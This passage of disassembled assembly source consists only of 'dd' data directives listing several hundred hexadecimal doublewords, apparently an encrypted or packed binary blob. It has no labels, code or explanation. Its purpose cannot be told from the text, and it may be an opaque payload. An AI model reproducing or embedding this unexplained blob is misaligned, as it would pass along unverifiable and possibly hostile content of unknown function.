		dd 0E7E07489h, 0C0C7703Bh, 8F43D4ADh, 2DA20A7Ch, 0C78DF744h
		dd 2AED4E5Dh, 6941280Dh, 0BDDCF0F1h, 898959A1h,	6AC7C304h
		dd 0CDF226Dh, 0BB0F4D84h, 652D17EDh, 0C5EA88A3h, 0D77EF4E8h
		dd 6C8DDB18h, 7352AEDh,	0FCE7466Eh, 51AE7BEBh, 2A97A611h
		dd 687818D7h, 0A2AEADA5h, 0CA85616Bh, 0A73B38A6h, 6D7D0859h
		dd 2F263384h, 4186CA47h, 8B4DE72Bh, 90A8B17Dh, 0A86DC5DFh
		dd 0F4E781F4h, 0FCB34B64h, 7163434Ch, 8ADFFC5h,	0D1CB3E01h
		dd 0E736B4AEh, 0C547FF1Ah, 994D44ADh, 0ED2F1D6Ch, 49AC91A6h
		dd 332DCDADh, 4E78F5C7h, 0CE2DED5Eh, 5D77F4CAh,	27C7E70Fh
		dd 6D71E920h, 0EB95D79Bh, 0AADC2C7h, 47561A3h, 0F7F7ADE3h
		dd 0ED05B82Bh, 0E4D7B8ADh, 0EDF4444Dh, 616BD773h, 0D5F7E2C4h
		dd 3E5926F7h, 0E784FFA0h, 8D5669E2h, 0B4C747BCh, 0ADC14640h
		dd 75298C24h, 4770A5E0h, 4F036CCh, 0D7F6C0EBh, 0CD872BEBh
		dd 0E1830AADh, 0B0D0C46Dh, 6DADF2C1h, 96ADD186h, 46448FC7h
		dd 0B3AB6DC9h, 4EEFFE3Ah, 75C7A72Dh, 0F4E8C5C8h, 9BB5D7EDh
		dd 0BC6D5E8Dh, 87CB4BADh, 0E496FCDCh, 0F344474Ah, 0AA2DA5FCh
		dd 2D9AA06Dh, 876B7179h, 85ADAFDBh, 83AF374Ch, 81402DA9h
		dd 0CB464D2Eh, 23A04147h, 0A7F9371h, 596FB140h,	0FF7C8993h
		dd 6DB54E7h, 0F7D6ADD0h, 98483AD8h, 0BC81AF2Dh,	2DD6C6C8h
		dd 416B1E55h, 0F830F9C4h, 555A1F7h, 0F7B533F2h,	62719C82h
		dd 7FC764F7h, 48F04400h, 6DEFBA57h, 54388D92h, 6F65ADE7h
		dd 0A16138A9h, 0CB8545ADh, 7F814700h, 0ADE54685h, 0F07488C8h
		dd 427B3D3Ch, 44F06D4Ah, 728CD2F8h, 0ED054DA2h,	14E7076Dh
		dd 6DE8C793h, 59E0BC17h, 0FBED039Ah, 0E15331D7h, 0BDCB3AA4h
		dd 9EE0F4FFh, 0A5C7E26Dh, 0F492216Dh, 407E3399h, 7F6DC146h
		dd 871FD633h, 68F447E2h, 9E81D5B4h, 0F7F7782Dh,	2DCD07C7h
		dd 416DD70Ah, 29CC8A61h, 2175AAC7h, 0F730ADA3h,	0D904716Dh
		dd 62F0B82Dh, 737B937Dh, 412DE7E8h, 9CADB361h, 479A1A3h
		dd 0C7B88CEAh, 735C7564h, 67783FADh, 0B6283C6Dh, 556B1399h
		dd 0B9B4F145h, 0DE712B9Dh, 0E750F493h, 8E8B2040h, 0FFF7F18Bh
		dd 2D9801D0h, 0AEEC53BAh, 42146DE2h, 5F612E60h,	0D7312D8Ch
		dd 603C49AAh, 0D7F7B6F9h, 2D0CFC28h, 4D7F775h, 0BA2DB0E0h
		dd 9C452BA1h, 0C7ADAD8Fh, 47A1B0FBh, 89F781B4h,	0EDE52300h
		dd 9331E7A6h, 0DEAD9035h, 9CC473C7h, 616BBABBh,	0FD84516Bh
		dd 0A0C7F1BBh, 0B43DF26Dh, 65682101h, 0C53483D9h, 0D86002F7h
		dd 28B46D92h, 0A2DE7121h, 90E7042Dh, 6DA60381h,	3F90E7CBh
		dd 0CEF4A8E2h, 6141AAC7h, 0E7B42D93h, 0D1C56125h, 7EC7F5ADh
		dd 0BE82C1B8h, 692DF21Dh, 40EDF904h, 1F75E1B1h,	0E77A3489h
		dd 2DA16967h, 0BCC21D00h, 0BBFDC4D4h, 3582448h,	3A0AE285h
		dd 1B6528C7h, 0D7B8ED85h, 0ADB36D25h, 6BA30AEDh, 79D30559h
		dd 84EA81DEh, 0BA6D8840h, 0C7E47743h, 0E71FBAFDh, 9F0E4D67h
		dd 6B9326ADh, 22D38559h, 443ED7E7h, 0E4EDF746h,	22516589h
		dd 1D8AC4B1h, 0D1C4516Dh, 20C7322Dh, 0ADC18449h, 0A750E787h
		dd 552DECC5h, 0C565E6E7h, 0E707ADF0h, 0C9C7612Bh, 6DC7FA2Dh
		dd 0EDAD4128h, 0DCA0C731h, 2A6D8062h, 7712DB3h,	23126DE1h
		dd 0A5B2496Bh, 65E7B2BCh, 0AD32FF55h, 516DB9BFh, 173D404h
		dd 834DA2F7h, 939CEDA6h, 979C452Fh, 82F7F6B7h, 6DDCC5F3h
		dd 6889E7B2h, 0B86DC006h, 335967D7h, 0F74074A3h, 8C433C4Ch
		dd 7FD7C9BAh, 34E33864h, 4D6B6EFCh, 0B846CB05h,	854D6B91h
		dd 0C7B830FFh, 0AA7E79A4h, 9DF7DB77h, 0EDF904C8h, 556A6182h
		dd 492D9C8Fh, 0DE71E141h, 3055BAA4h, 0EC468C51h, 6F93F87Ch
		dd 7ADDC784h, 75E1D787h, 0F357F685h, 20F03D3Eh,	2ECB6295h
		dd 6168756Ah, 2831CD8Ah, 3AAF4245h, 4478D7ACh, 0EFC7BBD2h
		dd 43496B51h, 6FABE7B2h, 514D496Eh, 64A1AF22h, 2D7B6155h
		dd 7BB5F780h, 0EFF4A97Bh, 81AB3EE7h, 0BB36BC60h, 0AEA47DE0h
		dd 0E2E7AA6Dh, 0B69F0351h, 792AD7D9h, 0F8BBFE86h, 765A5E7h
		dd 0E71FEDE4h, 0F94445A4h, 3C7A5ADh, 2DCD84A8h,	0FCFBE723h
		dd 26ADBCC1h, 6F7DACF7h, 0C725EDA1h, 0E5C78438h, 0CD7ECB3h
		dd 2DC887FCh, 87F563F5h, 0A5ADE3C7h, 0C769E0D7h, 0C7652DE3h
		dd 0F14645A0h, 52E71E2Dh, 0ADDB4644h, 649F4308h, 6F2DCEC4h
		dd 850C3DE7h, 6106ADF6h, 0F506D491h, 0E061DD78h, 37E3C47Dh
		dd 69ABC7B9h, 1F374792h, 8261A5C7h, 2143EDA0h, 85CD5560h
		dd 69B1B437h, 8CF6C669h, 743CD7E7h, 472D9DCFh, 0A379ADD7h
		dd 41A26D6Dh, 0E6C74C53h, 6A31A334h, 0F7B98955h, 7C14E71Bh
		dd 0E2B3FAC6h, 0C4FCF533h, 0A14CF9DBh, 95CF5125h, 8904DCBh
		dd 0EDAD82FCh, 71ADA153h, 0E22DD905h, 0C5F04723h, 411517C9h
		dd 0F9847DA5h, 0ED1D71FFh, 0EDF9C679h, 6C7D3063h, 0E72DA7C9h
		dd 895B02D7h, 0F7C7ADB2h, 0C70651A1h, 6D51DD78h, 86CD0641h
		dd 412AA152h, 7E6DB2B1h, 22D4311Dh, 0D00633A5h,	0CEC4FCDDh
		dd 0DCF761B6h, 0EDF5C7BFh, 65E41D60h, 546DA4E1h, 846377D7h
		dd 81E56DF1h, 0FEC66920h, 0C0C74456h, 764D2D1Fh, 0FD5FD7EDh
		dd 6F8FFAC6h, 0C74B5EC7h, 0F7E0B4D3h, 0EF0549E6h, 64C7392Dh
		dd 0AD99EF71h, 0E07AE7ECh, 0E1EDCE86h, 0C74DE1F7h, 6075EDF1h
		dd 0E8C545A0h, 0E5D7E174h, 36CE867Dh, 596BE779h, 0E9EDE484h
		dd 5685CE7h, 0E70D2DECh, 0F8046D6Ch, 6EE7B577h,	767EB561h
		dd 6D6DD7E1h, 5E2DE406h, 56924C7h, 0C7BF2DD7h, 0EC4471AAh
		dd 23E7246Dh, 2DD4C569h, 75E2E787h, 0E4B1CEC5h,	551E1F7h
		dd 0F7FAADF1h, 0C404D40Ch, 0EEA1B72Dh, 77F8846Dh, 0E3CD218Ah
		dd 0AA6DC484h, 0C1D88DDCh, 0D7C6EDAAh, 980159A8h, 35D7B9EDh
		dd 34C90470h, 0C47E83D3h, 4B7CD805h, 87656FA1h,	0E7BF74DBh
		dd 0F40541E9h, 0E5D7E5B4h, 0B1906E65h, 792DC014h, 8FB5B309h
		dd 9796E40h, 0F0D4AD9Ah, 0E74661E9h, 0EDF707EDh, 0F9F78755h
		dd 61EDF729h, 55ED46B5h, 0A9A2ACE7h, 0D7DF2DB4h, 0E44679EDh
		dd 0A5E729EDh, 0ADDD0751h, 97ECC7F0h, 82ADDDC6h, 0C761A141h
		dd 0D71D2DDBh, 0F0C74036h, 0A9E7FA49h, 0AD8A3779h, 7522B326h
		dd 0E66DE805h, 975DAEF7h, 0F786ED64h, 0D6C575E2h, 6CC764EDh
		dd 0F6F4C520h, 556DD24Ch, 4A51CE05h, 0B971E2E7h, 0D0CC2D9Ah
		dd 0EC0645E6h, 6DF7AB6Dh, 2DDCC7A0h, 49E8DEA8h,	0A8EDE8C7h
		dd 0B561EFFCh, 0C795ED56h, 0EEC6206Ch, 0AFE7D76Dh, 79CD4620h
		dd 9B2FE786h, 0A4EDD684h, 176969E7h, 0F70DADBBh, 0A99FABA6h
		dd 0E4F784EDh, 6DC6C4A7h, 0C874CCAAh, 29EDAEA1h, 0A14D69E7h
		dd 0E78EED80h, 0DA054D60h, 0EBE7952Dh, 88E4C579h, 5128D7C6h
		dd 26B0AF60h, 0A18BF1F7h, 0A0E6EDB7h, 0B3F47F95h, 3EC432B5h
		dd 81CE0570h, 0FC33F729h, 3AF4FE86h, 0A2452F50h, 91C6B990h
		dd 0FC866DE6h, 0EAF718ADh, 2DF7C771h, 4524F778h, 0E26DCF46h
		dd 3051A113h, 928660E0h, 0D7064D66h, 0EDD71DADh, 0EDE90451h
		dd 4DE2C71Ah, 0B870D4C5h
		dd 0B645A231h, 41E62D93h, 0F9C4BCEDh, 6713E2F4h, 70AE3E45h
		dd 5925A012h, 582DD284h, 0C74920C7h, 0E0B82DE7h, 0B6E97565h
		dd 0ED115977h, 34D9447Dh, 0FC92B8D2h, 972DA1EEh, 875A98Dh
		dd 0F7DF7EBEh, 0AEC15965h, 0A5E7746Dh, 0EDA2C179h, 5D2F61EFh
		dd 0B3F4E546h, 47D6DD7h, 0C784EDEDh, 0A3FD75AAh, 45F74237h
		dd 3472D4A3h, 51E0E7E6h, 6CADB571h, 0E2EB5640h,	0C7E92D9Ah
		dd 0C9C5F47Eh, 25A155B9h, 96D18451h, 0D0C49170h, 0DFFE9FC9h
		dd 464DE5E7h, 0C7D9BCE5h, 0AFE524AEh, 68E778FBh, 2DCEC6A4h
		dd 69E0D7B3h, 4E2DFE05h, 6552070h, 52B66DDAh, 0C984E84Dh
		dd 0AAA110B3h, 2D910D71h, 0D33F0D71h, 0D8734A7Dh, 85C47EC7h
		dd 0D72BB9C9h, 9DAE59A9h, 0A4F7F82Dh, 9B91094Dh, 708ED03Bh
		dd 0F8ADBC4Fh, 659A4C7h, 0F7AB37C5h, 99BF6520h,	22F7AB6Dh
		dd 6D92BF65h, 492090AEh, 0AE8ED784h, 0FFF088B0h, 0A00930B8h
		dd 0A0E31489h, 0A4A2D234h, 0ED457D59h, 59E9C2FEh, 0DF03A6F9h
		dd 464163F7h, 0C7F5FBEFh, 0B8B290E3h, 49F7F4F1h, 0BE8C520h
		dd 89C8D7E3h, 4C47A59Eh, 0EE7D65A1h, 1328EDAEh,	0D0325808h
		dd 0BFC7B34Fh, 2DC544FFh, 512D7267h, 0B12DD9C4h, 0E271E0E7h
		dd 0B0573BA8h, 9AFD656Dh, 0C6F7682Dh, 46B2FD26h, 0A40B535Dh
		dd 5EADF585h, 3E75A56Eh, 6F3A23F0h, 677DE78Bh, 252C290Ch
		dd 37C5C679h, 0E4F4B3DAh, 39F4C13Dh, 85C4BF0Bh,	22A7F0C8h
		dd 0C3853447h, 56C7E1CBh, 0EDA9234Ch, 0B446C2FEh, 1084F785h
		dd 44841191h, 83AAEDFAh, 88F20E9Fh, 46032830h, 0F25F9E94h
		dd 3A8A62D1h, 0E1ED703Eh, 85A748E7h, 1E4AB7E4h,	4F7E0C4Bh
		dd 29D7DF03h, 3BBE0979h, 5125C707h, 976DA071h, 0F9C4B6C7h
		dd 0E7E2EDB0h, 0C3C72823h, 0E9D7E5EDh, 34C5D75h, 200BC7EDh
		dd 0ADED457Ah, 0C587079Dh, 230312CCh, 0EBC7ABFBh, 0A99009ADh
		dd 0EDC1C57Dh, 0C40CF764h, 6ADD746h, 0D4A3FAE7h, 0E7D06D9Dh
		dd 8960849Eh, 6DE7ECADh, 0EDCE4645h, 0E83CD7A4h, 0FFADF384h
		dd 0C04D2EE7h, 0D7996DAEh, 7D3D7416h, 68D7842Dh, 6DE1C559h
		dd 65E5D76Bh, 0DD7FA0A0h, 4444B4E7h, 0A3776DC9h, 0BA6D5C08h
		dd 72E7F737h, 0BCDE85D8h, 796CE7FFh, 0F474EAE3h, 0C5D472E7h
		dd 0D7C544F0h, 0B1E3D9BDh, 6AB1FBADh, 0AD8DD459h, 0D9BDD7FCh
		dd 0FBADA9E3h, 3255AB81h, 0E7CEED58h, 0BDA278B4h, 1E10CAADh
		dd 6D818D08h, 712A5DABh, 5ADED84h, 4455A3F7h, 0E718EDE5h
		dd 9A56DC78h, 0ADC7262Dh, 4EB4759h, 5923E7B4h, 9D6DD106h
		dd 448409BFh, 73A3EDDFh, 0F405D4F4h, 3DB1A06Dh,	0EDF1C47Ch
		dd 49E281FBh, 0E46D9E03h, 7C58C2E7h, 0F7CC6DA8h, 8AE16D2Ah
		dd 21A11CF2h, 0FF834265h, 5520E77Fh, 0DEAD812Dh, 0C4E4F0E7h
		dd 0E7A577F4h, 0E304B08Fh, 63696EEDh, 0BCEF8445h, 65697168h
		dd 4DB4C687h, 0C771255Ch, 0BD92EDD5h, 877E45A1h, 0F7E7F807h
		dd 33F704FCh, 6DA1E7B0h, 0EFCF8A6Dh, 4C41A262h,	0A110AD71h
		dd 0A56C6DE2h, 0EFA110ADh, 7CE92C7Dh, 59AAB1FBh, 0D2AD6872h
		dd 44C7CDE7h, 0A3127FC7h, 5EA86D6Fh, 0E5D7F834h, 0F4F5C645h
		dd 59295546h, 8A6DA48Dh, 0E1EC45D7h, 0E7E1EDB4h, 0DD8565E4h
		dd 4D70AB4h, 0ED99A278h, 712A537Dh, 3886F407h, 0C465A47Bh
		dd 0F707FFEAh, 5EAE45ADh, 76C7E56Dh, 2DA6FFC8h,	0A82DF778h
		dd 0F9F2C9C6h, 42E447F7h, 55F82D8Eh, 0F2044E0Dh, 0FE7EB67h
		dd 0AD8D6CEBh, 716FD7D3h, 0A5ADA182h, 8ED878F7h, 6F26AD69h
		dd 0FA84E872h, 361C4FFh, 785DE90h, 4205D7F4h, 0ED9CCEh
		dd 4555AD7Dh, 0E77FFCE7h, 4FD349A4h, 0D6D7FC34h, 0FFBAAAE7h
		dd 41E3A15Fh, 0C5AD858Fh, 0A279A46Fh, 71CEED81h, 0E74545ADh
		dd 0E551C9FCh, 0ADD1C451h, 0C0726549h, 1B7FC686h, 0AF6DE6A1h
		dd 4D0D2D6Bh, 0C5444C4Ah, 0A5619BEDh, 77FF8461h, 45E9710Eh
		dd 894F744Ch, 0C4F3CFD7h, 0E7F6F6C5h, 0EAC45B01h, 6C75316Dh
		dd 0ED418B7Dh, 5520F707h, 0FC4680F6h, 84552171h, 0A10646C8h
		dd 8E0B6163h, 7AD7B82Dh, 0FBE784D4h, 6F9FE738h,	0DD37DC45h
		dd 0EFDD1FF7h, 0D72BAD11h, 0CD46ECB8h, 1E7E9ADh, 3BC1C55Fh
		dd 79A27DB0h, 0FC4FE545h, 6FD03473h, 25092D66h,	0C8C55DA2h
		dd 0E061437Fh, 2D8D1571h, 68CFD7F9h, 0E436C8C7h, 44C44CC7h
		dd 71A8E1CDh, 0E6C7680Fh, 0CEE7E42Dh, 0AD90E3D1h, 0DD90C745h
		dd 0FC734D88h, 44A421D7h, 0E7ABEDF1h, 0E7C598EDh, 48F7DC6Dh
		dd 2D556EE7h, 59606EE8h, 3AAD8934h, 4494AD82h, 0F7B171ECh
		dd 0F405EFC6h, 0B4E7C4F4h, 0EDC54640h, 5D20536Ch, 5ADFE84h
		dd 445A9F7h, 0E70588C7h, 0E044652Bh, 0A1F7C7B4h, 31E24769h
		dd 80A9D74Ch, 0CE31E247h, 0C665E6C7h, 0D754ADF2h, 0F384F08Dh
		dd 0F0C78D31h, 6DC7C4F0h, 0B4A8C7DEh, 50ADD047h, 8575AFF0h
		dd 0F70C31F3h, 0F54704ABh, 6FC050EDh, 6D8E5671h, 90A8C7E6h
		dd 4E39C047h, 0B67D65E7h, 0D7DF6D8Ah, 0E207A4A9h, 0A9D78931h
		dd 31E207ACh, 0B4A8C709h, 50ADF607h, 8465AEF0h,	0C74831F3h
		dd 92B67DE0h, 0A8C7056Dh, 2DDD0784h, 7D6EF014h,	9C6D9FB6h
		dd 45556ED2h, 0F7CA31F3h, 0D80710F7h, 2EC050ADh, 6D9AD161h
		dd 98A8C7A4h, 9531B374h, 0B67DA7C7h, 0D2922DA7h, 0F3C471E9h
		dd 6AF7D431h, 39F8C630h, 7DE8E754h, 852DA2B6h, 0C684A8C7h
		dd 0F050ADDDh, 0E2C47569h, 0A9D75731h, 31E2C688h, 90A9D7D6h
		dd 5631F3C6h, 0C61828F7h, 0E050EDFDh, 0B45671E8h, 0A8C7A62Dh
		dd 0F8C486ACh, 7966E711h, 502DB1F6h, 5671A8F0h,	0C7642DB3h
		dd 0D686B8A8h, 68E050EDh, 31F38649h, 7D6DF793h,	632DBFB6h
		dd 8688A8C7h, 0E0502DCEh, 0F3C56D28h, 0E5F79231h, 2DBBB67Dh
		dd 5128920Ch, 0F22D8596h, 0C569EBB2h, 0D75D31F3h, 86B67DE9h
		dd 0ABA2AD2Dh, 31E20649h, 0BCA8C79Ch, 1C39C046h, 0B67D28D7h
		dd 0C7732D8Dh, 0FD4680A8h, 6BC050ADh, 31F38449h, 7D20F71Fh
		dd 552D89B6h, 4690A8C7h, 0C72FEDF5h, 0E2856521h, 0C3D75E31h
		dd 6D5578DFh, 6D6BF705h, 0AE6DAC7Bh, 846D6B20h,	13BE2DF9h
		dd 0ADA1A0F0h, 0D4326ADh, 2D5D6C28h, 7D69825Ah,	27ED922Dh
		dd 7E909472h, 0DE9ED98h, 912E0005h, 21110C2Dh, 6D852E41h
		dd 0D84343AFh, 662D95E3h, 3C65E4CEh, 0C7D98746h, 0ABFF6482h
		dd 91C73247h, 0ADCD84BBh, 0C78CD78Ah, 2436E106h, 0C47871D7h
		dd 0D7147FC6h, 0CCC645A5h, 20D71484h, 2DCCC669h, 556DC76Dh
		dd 0F4A38100h, 0A18703F7h, 0F7E38396h, 463C0803h, 9CC707B3h
		dd 0ED9D7CCFh, 6D654CBEh, 83ED6D1Ch, 4479ED5Ah,	0F736BCE4h
		dd 0E884FCB1h, 0E4E7386Dh, 0ED8D3C71h, 79AF7CBEh, 52C6DF44h
		dd 0C7792D7Ch, 0E7A46DE1h, 9E2DFCF0h, 0F0E7DC6Dh, 0C4C044FCh
		dd 41A34266h, 0D46DE2C7h, 3C0808E7h, 2281ADBBh,	0AD61EC36h
		dd 2DF730EDh, 0EDF50449h, 5920F78Bh, 8C2D968Dh,	0C4556DD7h
		dd 0A16733F2h, 0FEC6456Bh, 0EA912434h, 6DCD4645h, 0F8F0E787h
		dd 0EABB8537h, 0C749EAB1h, 0A19CEDE3h, 0E8C5A890h, 6B21766Dh
		dd 34C98561h, 0ECB0E7E5h, 243E927Fh, 66F886C7h,	0C7B3B4B5h
		dd 0C085B62Eh, 6D91AAB4h, 0EDE1845Dh, 45E0D730h, 80ADFB46h
		dd 5FC7D03h, 7168FBF2h,	0E9864D2Ah, 0D5E7E1C3h,	2DCD8594h
		dd 4CCFD7D1h, 0AAEDF944h, 77563A1h, 8137ADF7h, 0C64645A0h
		dd 153EFD2Dh, 6D94203Ch, 51A2C7A5h, 0DA34CF05h,	4D0B4C7h
		dd 0C778F4E3h, 0F0C74927h, 25D7DBADh, 0EDF1077Dh, 41AE4197h
		dd 10EDD606h, 84716DF7h
		dd 0E7B0B2E9h, 0D8C74965h, 25D7DAADh, 0EDF1075Dh, 5966F720h
		dd 0A6AD91BBh, 69422D7h, 0D7DA72F7h, 0E9847166h, 0ABC779EDh
		dd 0EDE64649h, 45E9F75Ah, 19ADE5C4h, 0A14DE241h, 81782DB7h
		dd 0DEC555A2h, 0E5D7DB34h, 0EDD5C66Dh, 49E1C7E7h, 792DF605h
		dd 0C745AAE7h, 0E7E3ADEBh, 0FC058C9Dh, 0E9F7472Dh, 0EDE60471h
		dd 59E9F7C5h, 116DEEC5h, 464DE9F7h, 0C7C5EDEDh,	0D0C5616Ah
		dd 0EEE765ADh, 0B6FB8565h, 0A811E747h, 65ADCFC6h, 86616DC7h
		dd 0D755EDD6h, 0F246D43Dh, 0AF7DE34h, 0EDEBC4FCh, 75A070A4h
		dd 0F12DCD06h, 3A38D3E7h, 91E483A9h, 0A42D7DE4h, 7D83A6ADh
		dd 2DDD04F0h, 7924A0ADh, 0A6ED9138h, 4644F7A3h,	0E71C2DD1h
		dd 0D2458705h, 4A603279h, 0D29279B4h, 40F6F752h, 87ADF284h
		dd 0C57522C7h, 0E7BD2DCDh, 0ACC04568h, 0E9D7646Dh, 0EDCA0745h
		dd 0C4F2C7BBh, 652DCB46h, 0C7CBF3D7h, 0E730B3F2h, 0D204456Bh
		dd 0E691DC6Dh, 6DEC8649h, 412AE7B2h, 0E7ADFBC7h, 0C5D4F2C7h
		dd 0D7E1B4D7h, 0F9C6452Eh, 2AE2903Bh, 2DCDC561h, 68F0F724h
		dd 75ADBC2Eh, 0C6596BA1h, 0C71FFFC3h, 89F95DE5h, 6BE75477h
		dd 0FFFA8745h, 796B913Ch, 0D064ED86h, 83C1FCF7h, 9F82AD99h
		dd 0CE636929h, 0E3AF0064h, 2D518F79h, 6D64A179h, 32EDB120h
		dd 21C47CF7h, 0F787AD81h, 0A54F6925h, 706C32EDh, 8CFA84F2h
		dd 849FE730h, 7133E0C5h, 0C3ECA9C0h, 0A1BE3C8Ch, 0C286556Bh
		dd 0F1A13F6Dh, 0EDC404FCh, 65A1D707h, 0C3EDA1EDh, 0C50396F7h
		dd 0C7E16DEEh, 0EEC56163h, 2AD7D76Dh, 0FFE6846Dh, 0A0CBE735h
		dd 0D3ED9E8Dh, 8659E2C7h, 0C770B4E0h, 0F7057877h, 0B6919359h
		dd 3CCB627Ch, 7562E705h, 0F8EDE585h, 0C749A4E7h, 0E7E3ADE5h
		dd 0FAC550F1h, 6D52DAF4h, 2DCD8645h, 48FCF747h,	0B23CCB84h
		dd 0C575A27Fh, 9140ADC3h, 0A57E71E9h, 2E4CD96Dh, 74F384A3h
		dd 6565E044h, 92B6A87Ah, 0E1F4FD81h, 0F7F1B4ABh, 0F644D2C4h
		dd 80C730ADh, 6DC74604h, 37E7E712h, 0CCADE904h,	0C5844732h
		dd 0C71C2DE4h, 0DDC5F48Ah, 48D7A4EDh, 7FCEC7BEh, 5443734Ch
		dd 477FCE04h, 47960B3h,	4348EDC0h, 0E2C5688Fh, 0E51622Dh
		dd 6DEC455Ah, 4DA23996h, 0DD7FD3C5h, 1B64CC4Dh,	0C75C47BDh
		dd 0A86049AFh, 0E2C7DA77h, 0ADFA8779h, 0A71493ABh, 3FADCF06h
		dd 0EC65A681h, 3DA9ED8Dh, 0CDC5F083h, 7BF7622Dh, 0AD9B9844h
		dd 596623F4h, 70F29689h, 0C665EDD7h, 637C36C1h,	0FE45516Bh
		dd 0C232A9ADh, 0EDF1C4FFh, 7D65A3F5h, 0BAF4BC6Dh, 44FCF693h
		dd 10E8B7FCh, 0AAE09C8Bh, 73D7DA2Dh, 0B6FB06FCh, 75E5F7E7h
		dd 0BCEDEF04h, 0C4EC3143h, 0B3F72DC6h, 8301CB10h, 0E4E7E4BEh
		dd 2D9C2251h, 69A6D7F8h, 0ECADD9C7h, 0C56524E7h, 0D7E9ADD0h
		dd 0D50551EDh, 99D7856Dh, 0ED82ACCCh, 6DAE2106h, 0E3ED7B8Bh
		dd 4441A661h, 93BAB4E4h, 0FDC479E5h, 6EE7F1EDh,	7EF78755h
		dd 552CD7DFh, 0F2AD8FD7h, 445DE7A1h, 0E7D5FFEEh, 0E78459E1h
		dd 0FAE7EE2Dh, 0ADD8C4D4h, 65EDA333h, 0D51C9FE5h, 8458337Ch
		dd 0B33EEDE1h, 0D045E4C5h, 64F7DAB3h, 2DD04604h, 0D073D7C8h
		dd 0ECADE2C7h, 0C32874F7h, 93826D93h, 0C38469E0h, 18E731F7h
		dd 36F905D4h, 0F418E7F5h, 0F1B7E5C4h, 0A24414D7h, 9137EDA9h
		dd 9F7951A1h, 0AA5C0D6Dh, 6DC54645h, 4BB8C784h,	0DE24811Ch
		dd 84E836A3h, 0E7936DEEh, 0ABAC416Bh, 0A5197CF4h, 0AD89B861h
		dd 0EB92E75Dh, 7087D5C6h, 4692DF1h, 0D7DFEDDDh,	0EB84752Eh
		dd 0A720E5F4h, 0ADDB4645h, 28A2F7D0h, 0F5EDC504h, 0C6C8FB79h
		dd 0D79FADFBh, 9A556127h, 1AC7EF49h, 0B982D7DCh, 508F0D62h
		dd 7FADF8C7h, 45DA841h,	9082B9FEh, 0FC0544F5h, 3CF78DF4h
		dd 0EDB5F764h, 7D2561F5h, 694164F7h, 89C6D42Dh,	39E23686h
		dd 0B5B4F8C5h, 6ED273ADh, 6D1D292Fh, 4565D7CBh,	392DADC3h
		dd 0C6C44ED7h, 0E78786F8h, 0CB857561h, 2BE7853Ch, 0BCD80445h
		dd 0D08DD731h, 0DAC6FB45h, 37416AB3h, 0E7907146h, 0BAB4F8DAh
		dd 0F1A382EDh, 51DCC454h, 796DD790h, 0DFEDD904h, 4592FF7h
		dd 0E0A047C9h, 0FF047164h, 26E00BEDh, 0ADF9C751h, 75A4E7ECh
		dd 42AD76F6h, 468929FCh, 0E4D66DD8h, 454BD8FAh,	0A38381EDh
		dd 3388E065h, 7124E734h, 0E5EDEE04h, 8575A4BCh,	0E740C0D9h
		dd 0E0857416h, 45D77D74h, 0ADE4C640h, 5D279383h, 0E1AD8F50h
		dd 464560D7h, 0C7FCADF8h, 0B02E9F69h, 0ECC7F8EDh, 0ADB5A049h
		dd 8870713Ah, 0DF2DEBC7h, 9449E3D1h, 70E4B6BBh,	0FAC4592Dh
		dd 0E5D73BB1h, 0FE4AF64Dh, 40C1D7C4h, 3DADEE46h, 45756EE2h
		dd 0C70106EDh, 0B4E15D2Ah, 24AB7DADh, 84CE0769h, 0D831F786h
		dd 323E7860h, 84D8B2E7h, 0E7FFEDE9h, 0A48351A0h, 0E8D78F4Ch
		dd 2D95827Dh, 65A2B1F0h, 19EDDE06h, 0C56CFDF7h,	0C726ADD1h
		dd 8CB9F8F3h, 0A54239ADh, 3ECD8645h, 61AA83C0h,	86384EE3h
		dd 75B83BE7h, 0D71374AAh, 6B75F473h, 7B55B777h,	0ADEDC7CAh
		dd 41ADF7E4h, 0FA77F5C6h, 0C5C40073h, 0C795EDCEh, 0FC454563h
		dd 0AAD7B36Dh, 47E30641h, 4520F028h, 153CD9C5h,	4756BE7h
		dd 22D8C1FFh, 0C686616Bh, 0A9C72BB9h, 0EDA96165h, 49E4F739h
		dd 0E7ADDEC7h, 84A885F7h, 0D7DFADE3h, 0AC42412Fh, 65E7356Dh
		dd 32C14649h, 4DFD733h,	0C6ADF6C5h, 464525E0h, 939FADFFh
		dd 0DE8450B6h, 5DB19AFCh, 71A560FCh, 45A151E5h,	4DB3E845h
		dd 2F79ED92h, 71502DBDh, 0E805496Dh, 3B1155B1h,	74BC7DD8h
		dd 49E4C778h, 872DF4C7h, 5596D5Eh, 0F7EB6DECh, 0D0C44C56h
		dd 20D759ADh, 6DABAD49h, 16C674AFh, 28E3DCC5h, 0C404C431h
		dd 7D38B9C6h, 821CA085h, 0A1D72FBEh, 0D3DEC575h, 55A06271h
		dd 0BCF783F9h, 0C6985943h, 0DC6337CFh, 0A1294921h, 44D748EDh
		dd 6DECC6E0h, 0B021F725h, 4F499E8h, 0A3000073h,	0A13CBBB8h
		dd 0AA536DA0h, 4412BAFAh, 43E0C6F8h, 55A0F7CBh,	27BCFE04h
		dd 16D2AF7h, 0D7E82D89h, 0C0C7407Ah, 6870E1ADh,	0EDEF444Dh
		dd 51EA0178h, 0D5ADD8C7h, 6A821F7h, 0F7DF6DC0h,	815469A3h
		dd 0ADF7E6B4h, 6DEE067Dh, 51AD20C0h, 8BB6EB7h, 7409EF7h
		dd 0C77CADC3h, 0CEC57DA3h, 66D7D7EDh, 0ADD6C65Dh, 716501ACh
		dd 0CDB369BDh, 0C5689EF7h, 0D72B2DE3h, 0C0C7A893h, 0A991AA38h
		dd 2DCD8661h, 692914B8h, 5EDEC04h, 4655A3F7h, 0E7BAF4D8h
		dd 0E046492Bh, 6AE725EDh, 72CFC741h, 41E24237h,	66AD16DBh
		dd 443041D7h, 41804AECh, 0FE0684DEh, 0E9F70AF7h, 0EDE64665h
		dd 61AE91A3h, 0BCFCD786h, 0CE412AE7h, 0C7E4AD76h, 8DAF708Fh
		dd 28D7DF2Dh, 0C4D7C56Dh, 65213029h, 7C70D8C6h,	0B89C7520h
		dd 5DD2AD6Eh, 0ED84716Dh, 6BE7B1EDh, 3AC9C661h,	3C415150h
		dd 0BD7ED085h, 0BD65E512h, 706EADA6h, 0EE85F0F1h, 0C2E7376Dh
		dd 0F6DCC5A8h, 6166D7EFh, 9BADD0C6h, 0E09CA3F7h, 0E7526DA7h
		dd 0A8FACF92h, 0EDE7E66Dh, 2D8D2179h, 4169A16Bh, 29ADEEC7h
		dd 0B9612520h, 0A1F884A4h, 0DD46C034h, 0A23DEF6Dh, 0ADBC7A41h
